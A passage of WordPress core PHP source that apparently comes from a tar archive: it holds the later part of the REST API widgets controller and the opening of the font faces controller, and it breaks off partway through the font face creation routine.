					'args'                => array(
						'force' => array(
							'description' => __( 'Whether to force removal of the widget, or move it to the inactive sidebar.' ),
							'type'        => 'boolean',
						),
					),
				),
				'allow_batch' => $this->allow_batch,
				'schema'      => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this->retrieve_widgets();
		if ( isset( $request['sidebar'] ) && $this->check_read_sidebar_permission( $request['sidebar'] ) ) {
			return true;
		}

		foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
			if ( $this->check_read_sidebar_permission( $sidebar_id ) ) {
				return true;
			}
		}

		return $this->permissions_check( $request );
	}

	/**
	 * Retrieves a collection of widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$this->retrieve_widgets();

		$prepared          = array();
		$permissions_check = $this->permissions_check( $request );

		foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) {
			if ( isset( $request['sidebar'] ) && $sidebar_id !== $request['sidebar'] ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) && ! $this->check_read_sidebar_permission( $sidebar_id ) ) {
				continue;
			}

			foreach ( $widget_ids as $widget_id ) {
				$response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request );

				if ( ! is_wp_error( $response ) ) {
					$prepared[] = $this->prepare_response_for_collection( $response );
				}
			}
		}

		return new WP_REST_Response( $prepared );
	}

	/**
	 * Checks if a given request has access to get a widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( $sidebar_id && $this->check_read_sidebar_permission( $sidebar_id ) ) {
			return true;
		}

		return $this->permissions_check( $request );
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param string $sidebar_id The sidebar ID.
	 * @return bool Whether the sidebar can be read.
	 */
	protected function check_read_sidebar_permission( $sidebar_id ) {
		$sidebar = wp_get_sidebar( $sidebar_id );

		return ! empty( $sidebar['show_in_rest'] );
	}

	/**
	 * Gets an individual widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );
	}

	/**
	 * Checks if a given request has access to create widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Creates a widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$sidebar_id = $request['sidebar'];

		$widget_id = $this->save_widget( $request, $sidebar_id );

		if ( is_wp_error( $widget_id ) ) {
			return $widget_id;
		}

		wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );

		$request['context'] = 'edit';

		$response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response->set_status( 201 );

		return $response;
	}

	/**
	 * Checks if a given request has access to update widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Updates an existing widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		global $wp_widget_factory;

		/*
		 * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		// Allow sidebar to be unset or missing when widget is not a WP_Widget.
		$parsed_id     = wp_parse_widget_id( $widget_id );
		$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );
		if ( is_null( $sidebar_id ) && $widget_object ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		if (
			$request->has_param( 'instance' ) ||
			$request->has_param( 'form_data' )
		) {
			$maybe_error = $this->save_widget( $request, $sidebar_id );
			if ( is_wp_error( $maybe_error ) ) {
				return $maybe_error;
			}
		}

		if ( $request->has_param( 'sidebar' ) ) {
			if ( $sidebar_id !== $request['sidebar'] ) {
				$sidebar_id = $request['sidebar'];
				wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );
			}
		}

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );
	}

	/**
	 * Checks if a given request has access to delete widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Deletes a widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		/*
		 * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this->retrieve_widgets();

		$widget_id  = $request['id'];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				'rest_widget_not_found',
				__( 'No widget was found with that id.' ),
				array( 'status' => 404 )
			);
		}

		$request['context'] = 'edit';

		if ( $request['force'] ) {
			$response = $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request );

			$parsed_id = wp_parse_widget_id( $widget_id );
			$id_base   = $parsed_id['id_base'];

			$original_post    = $_POST;
			$original_request = $_REQUEST;

			$_POST    = array(
				'sidebar'         => $sidebar_id,
				"widget-$id_base" => array(),
				'the-widget-id'   => $widget_id,
				'delete_widget'   => '1',
			);
			$_REQUEST = $_POST;

			/** This action is documented in wp-admin/widgets-form.php */
			do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );

			$callback = $wp_registered_widget_updates[ $id_base ]['callback'];
			$params   = $wp_registered_widget_updates[ $id_base ]['params'];

			if ( is_callable( $callback ) ) {
				ob_start();
				call_user_func_array( $callback, $params );
				ob_end_clean();
			}

			$_POST    = $original_post;
			$_REQUEST = $original_request;

			$widget_object = $wp_widget_factory->get_widget_object( $id_base );

			if ( $widget_object ) {
				/*
				 * WP_Widget sets `updated = true` after an update to prevent more than one widget
				 * from being saved per request. This isn't what we want in the REST API, though,
				 * as we support batch requests.
				 */
				$widget_object->updated = false;
			}

			wp_assign_widget_to_sidebar( $widget_id, '' );

			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $response->get_data(),
				)
			);
		} else {
			wp_assign_widget_to_sidebar( $widget_id, 'wp_inactive_widgets' );

			$response = $this->prepare_item_for_response(
				array(
					'sidebar_id' => 'wp_inactive_widgets',
					'widget_id'  => $widget_id,
				),
				$request
			);
		}

		/**
		 * Fires after a widget is deleted via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string                    $widget_id  ID of the widget marked for deletion.
		 * @param string                    $sidebar_id ID of the sidebar the widget was deleted from.
		 * @param WP_REST_Response|WP_Error $response   The response data, or WP_Error object on failure.
		 * @param WP_REST_Request           $request    The request sent to the API.
		 */
		do_action( 'rest_delete_widget', $widget_id, $sidebar_id, $response, $request );

		return $response;
	}

	/**
	 * Performs a permissions check for managing widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error
	 */
	protected function permissions_check( $request ) {
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Looks for "lost" widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this->widgets_retrieved ) {
			retrieve_widgets();
			$this->widgets_retrieved = true;
		}
	}

	/**
	 * Saves the widget in the request object.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request    Full details about the request.
	 * @param string          $sidebar_id ID of the sidebar the widget belongs to.
	 * @return string|WP_Error The saved widget ID.
	 */
	protected function save_widget( $request, $sidebar_id ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number().

		if ( isset( $request['id'] ) ) {
			// Saving an existing widget.
			$id            = $request['id'];
			$parsed_id     = wp_parse_widget_id( $id );
			$id_base       = $parsed_id['id_base'];
			$number        = isset( $parsed_id['number'] ) ? $parsed_id['number'] : null;
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			$creating      = false;
		} elseif ( $request['id_base'] ) {
			// Saving a new widget.
			$id_base       = $request['id_base'];
			$widget_object = $wp_widget_factory->get_widget_object( $id_base );
			$number        = $widget_object ? next_widget_id_number( $id_base ) : null;
			$id            = $widget_object ? $id_base . '-' . $number : $id_base;
			$creating      = true;
		} else {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'Widget type (id_base) is required.' ),
				array( 'status' => 400 )
			);
		}

		if ( ! isset( $wp_registered_widget_updates[ $id_base ] ) ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'The provided widget type (id_base) cannot be updated.' ),
				array( 'status' => 400 )
			);
		}

		if ( isset( $request['instance'] ) ) {
			if ( ! $widget_object ) {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'Cannot set instance on a widget that does not extend WP_Widget.' ),
					array( 'status' => 400 )
				);
			}

			if ( isset( $request['instance']['raw'] ) ) {
				if ( empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					return new WP_Error(
						'rest_invalid_widget',
						__( 'Widget type does not support raw instances.' ),
						array( 'status' => 400 )
					);
				}
				$instance = $request['instance']['raw'];
			} elseif ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) {
				$serialized_instance = base64_decode( $request['instance']['encoded'] );
				if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) {
					return new WP_Error(
						'rest_invalid_widget',
						__( 'The provided instance is malformed.' ),
						array( 'status' => 400 )
					);
				}
				$instance = unserialize( $serialized_instance );
			} else {
				return new WP_Error(
					'rest_invalid_widget',
					__( 'The provided instance is invalid. Must contain raw OR encoded and hash.' ),
					array( 'status' => 400 )
				);
			}

			$form_data = array(
				"widget-$id_base" => array(
					$number => $instance,
				),
				'sidebar'         => $sidebar_id,
			);
		} elseif ( isset( $request['form_data'] ) ) {
			$form_data = $request['form_data'];
		} else {
			$form_data = array();
		}

		$original_post    = $_POST;
		$original_request = $_REQUEST;

		foreach ( $form_data as $key => $value ) {
			$slashed_value    = wp_slash( $value );
			$_POST[ $key ]    = $slashed_value;
			$_REQUEST[ $key ] = $slashed_value;
		}

		$callback = $wp_registered_widget_updates[ $id_base ]['callback'];
		$params   = $wp_registered_widget_updates[ $id_base ]['params'];

		if ( is_callable( $callback ) ) {
			ob_start();
			call_user_func_array( $callback, $params );
			ob_end_clean();
		}

		$_POST    = $original_post;
		$_REQUEST = $original_request;

		if ( $widget_object ) {
			// Register any multi-widget that the update callback just created.
			$widget_object->_set( $number );
			$widget_object->_register_one( $number );

			/*
			 * WP_Widget sets `updated = true` after an update to prevent more than one widget
			 * from being saved per request. This isn't what we want in the REST API, though,
			 * as we support batch requests.
			 */
			$widget_object->updated = false;
		}

		/**
		 * Fires after a widget is created or updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string          $id         ID of the widget being saved.
		 * @param string          $sidebar_id ID of the sidebar containing the widget being saved.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating a widget, false when updating.
		 */
		do_action( 'rest_after_save_widget', $id, $sidebar_id, $request, $creating );

		return $id;
	}

	/**
	 * Prepares the widget for the REST response.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widgets The registered widgets.
	 *
	 * @param array           $item    An array containing a widget_id and sidebar_id.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_widget_factory, $wp_registered_widgets;

		$widget_id  = $item['widget_id'];
		$sidebar_id = $item['sidebar_id'];

		if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
			return new WP_Error(
				'rest_invalid_widget',
				__( 'The requested widget is invalid.' ),
				array( 'status' => 500 )
			);
		}

		$widget = $wp_registered_widgets[ $widget_id ];
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php */
			return apply_filters( 'rest_prepare_widget', new WP_REST_Response( array() ), $widget, $request );
		}

		$parsed_id = wp_parse_widget_id( $widget_id );
		$fields    = $this->get_fields_for_response( $request );

		$prepared = array(
			'id'            => $widget_id,
			'id_base'       => $parsed_id['id_base'],
			'sidebar'       => $sidebar_id,
			'rendered'      => '',
			'rendered_form' => null,
			'instance'      => null,
		);

		if (
			rest_is_field_included( 'rendered', $fields ) &&
			'wp_inactive_widgets' !== $sidebar_id
		) {
			$prepared['rendered'] = trim( wp_render_widget( $widget_id, $sidebar_id ) );
		}

		if ( rest_is_field_included( 'rendered_form', $fields ) ) {
			$rendered_form = wp_render_widget_control( $widget_id );
			if ( ! is_null( $rendered_form ) ) {
				$prepared['rendered_form'] = trim( $rendered_form );
			}
		}

		if ( rest_is_field_included( 'instance', $fields ) ) {
			$widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] );
			if ( $widget_object && isset( $parsed_id['number'] ) ) {
				$all_instances                   = $widget_object->get_settings();
				$instance                        = $all_instances[ $parsed_id['number'] ];
				$serialized_instance             = serialize( $instance );
				$prepared['instance']['encoded'] = base64_encode( $serialized_instance );
				$prepared['instance']['hash']    = wp_hash( $serialized_instance );

				if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) {
					// Use new stdClass so that JSON result is {} and not [].
					$prepared['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance;
				}
			}
		}

		$context  = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$prepared = $this->add_additional_fields_to_object( $prepared, $request );
		$prepared = $this->filter_response_by_context( $prepared, $context );

		$response = rest_ensure_response( $prepared );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $prepared ) );
		}

		/**
		 * Filters the REST API response for a widget.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response|WP_Error $response The response object, or WP_Error object on failure.
		 * @param array                     $widget   The registered widget data.
		 * @param WP_REST_Request           $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_widget', $response, $widget, $request );
	}

	/**
	 * Prepares links for the widget.
	 *
	 * @since 5.8.0
	 *
	 * @param array $prepared Widget.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $prepared ) {
		$id_base = ! empty( $prepared['id_base'] ) ? $prepared['id_base'] : $prepared['id'];

		return array(
			'self'                      => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $prepared['id'] ) ),
			),
			'collection'                => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'about'                     => array(
				'href'       => rest_url( sprintf( 'wp/v2/widget-types/%s', $id_base ) ),
				'embeddable' => true,
			),
			'https://api.w.org/sidebar' => array(
				'href' => rest_url( sprintf( 'wp/v2/sidebars/%s/', $prepared['sidebar'] ) ),
			),
		);
	}

	/**
	 * Gets the list of collection params.
	 *
	 * @since 5.8.0
	 *
	 * @return array[]
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
			'sidebar' => array(
				'description' => __( 'The sidebar to return widgets for.' ),
				'type'        => 'string',
			),
		);
	}

	/**
	 * Retrieves the widget's schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'widget',
			'type'       => 'object',
			'properties' => array(
				'id'            => array(
					'description' => __( 'Unique identifier for the widget.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'id_base'       => array(
					'description' => __( 'The type of the widget. Corresponds to ID in widget-types endpoint.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'sidebar'       => array(
					'description' => __( 'The sidebar the widget belongs to.' ),
					'type'        => 'string',
					'default'     => 'wp_inactive_widgets',
					'required'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'rendered'      => array(
					'description' => __( 'HTML representation of the widget.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rendered_form' => array(
					'description' => __( 'HTML representation of the widget admin form.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'instance'      => array(
					'description' => __( 'Instance settings of the widget, if supported.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'default'     => null,
					'properties'  => array(
						'encoded' => array(
							'description' => __( 'Base64 encoded representation of the instance settings.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'hash'    => array(
							'description' => __( 'Cryptographic hash of the instance settings.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
						),
						'raw'     => array(
							'description' => __( 'Unencoded instance settings, if supported.' ),
							'type'        => 'object',
							'context'     => array( 'edit' ),
						),
					),
				),
				'form_data'     => array(
					'description' => __( 'URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only.' ),
					'type'        => 'string',
					'context'     => array(),
					'arg_options' => array(
						'sanitize_callback' => static function ( $form_data ) {
							$array = array();
							wp_parse_str( $form_data, $array );
							return $array;
						},
					),
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-font-faces-controller.php000064400000072164151024200430016171 0ustar00<?php
/**
 * REST API: WP_REST_Font_Faces_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Class to access font faces through the REST API.
 */
class WP_REST_Font_Faces_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 3;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for posts.
	 *
	 * @since 6.5.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_create_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
					'id'             => array(
						'description' => __( 'Unique identifier for the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.', 'default' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to font faces.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font faces.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font face.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font face settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_create_font_face_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'font_face_settings parameter must be a valid JSON string.' ),
				array( 'status' => 400 )
			);
		}

		// Check that the font face settings match the theme.json schema.
		$schema             = $this->get_item_schema()['properties']['font_face_settings'];
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_face_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		$required = $schema['required'];
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the missing font face settings parameter, e.g. "font_face_settings[src]". */
					sprintf( __( '%s cannot be empty.' ), "font_face_setting[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		$srcs  = is_array( $settings['src'] ) ? $settings['src'] : array( $settings['src'] );
		$files = $request->get_file_params();

		foreach ( $srcs as $src ) {
			// Check that each src is a non-empty string.
			$src = ltrim( $src );
			if ( empty( $src ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( '%s values must be non-empty strings.' ), 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}

			// Check that srcs are valid URLs or file references.
			if ( false === wp_http_validate_url( $src ) && ! isset( $files[ $src ] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: Font face source parameter name: "font_face_settings[src]", 2: The invalid src value. */
					sprintf( __( '%1$s value "%2$s" must be a valid URL or file reference.' ), 'font_face_settings[src]', $src ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that each file in the request references a src in the settings.
		foreach ( array_keys( $files ) as $file ) {
			if ( ! in_array( $file, $srcs, true ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: File key (e.g. "file-0") in the request data, 2: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( 'File %1$s must be used in %2$s.' ), $file, 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font face settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font face settings.
	 * @return array Decoded and sanitized array of font face settings.
	 */
	public function sanitize_font_face_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Retrieves a collection of font faces within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		return parent::get_items( $request );
	}

	/**
	 * Retrieves a single font face within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Check that the font face has a valid parent font family.
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		return parent::get_item( $request );
	}

	/**
	 * Creates a font face for the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings    = $request->get_param( 'font_face_settings' );
		$file_params = $request->get_file_params();

		// Check that the necessary font face properties are unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'title'                  => WP_Font_Utils::get_font_face_slug( $settings ),
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_face',
				__( 'A font face matching those settings already exists.' ),
				array( 'status' => 400 )
			);
		}

		// Move the uploaded font asset from the temp folder to the fonts directory.
		if ( ! function_exists( 'wp_handle_upload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$srcs           = is_string( $settings['src'] ) ? array( $settings['src'] ) : $settings['src'];
		$processed_srcs = array();
		$font_file_meta = array();

		foreach ( $srcs as $src ) {
			// If src not a file reference, use it as is.
			if ( ! isset( $file_params[ $src ] ) ) {
				$processed_srcs[] = $src;
				continue;
			}

			$file      = $file_params[ $src ];
			$font_file = $this->handle_font_file_upload( $file );
			if ( is_wp_error( $font_file ) ) {
				return $font_file;
			}

